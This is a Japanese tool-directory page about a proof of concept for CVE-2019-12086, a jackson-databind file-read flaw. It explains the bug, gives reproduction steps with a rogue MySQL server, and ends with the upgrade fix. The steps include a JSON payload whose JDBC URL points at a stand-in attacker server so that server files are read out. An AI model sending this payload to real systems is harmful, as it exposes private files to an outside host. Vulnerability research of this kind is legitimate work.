Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-12086-jackson-databind-file-read | Kitploit
ツール/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
1217年前未レビュー

jackson-CVE-2019-12086

脆弱性の説明

Default Typing が有効な場合、かつ classpath に mysql-connector-java 8.0.15 以下(2019.2.1 リリース)が存在する場合、攻撃者は悪意のある JSON データを送信することで任意のファイルを読み取ることができます。mysql-connector-java ライブラリは、データベース接続に一般的に使用される MySQL JDBC ドライバです。

CVE の説明は以下のとおりです:

A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.

脆弱性の分析

  1. Default Typing が有効な場合、Jackson は JSON の逆シリアル化時に指定されたクラスを逆シリアル化でき、そのクラスのコンストラクタ引数として基本型の値を指定できます。
  2. com.mysql.cj.jdbc.admin.MiniAdmin のコンストラクタは string の値を受け取ります。この値は JDBC URL を表し、com.mysql.cj.jdbc.admin.MiniAdmin クラスは初期化時にこの JDBC URL で指定された MySQL データベースに接続します。
  3. mysql-connector-java 8.0.15 以下(2019.2.1 リリース)では、悪意のある MySQL サーバーが MySQL クライアントの任意のローカルファイルを読み取ることができ、脆弱性が発生します。

脆弱性の再現

  1. 悪意のある MySQL サーバーを起動します: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. 同じディレクトリで mysql.log を確認します:

tail -f mysql.log

  1. 脆弱性のあるアプリケーションに以下の JSON を送信します:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. Jackson が悪意のある JSON 文字列を逆シリアル化すると、悪意のある MySQL サーバーに接続し、読み取られたファイルの内容が悪意のあるサーバーの mysql.log に書き込まれます。
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

脆弱性の修正

Jackson を 2.9.9 以上にアップグレードしてください。

ツールをダウンロード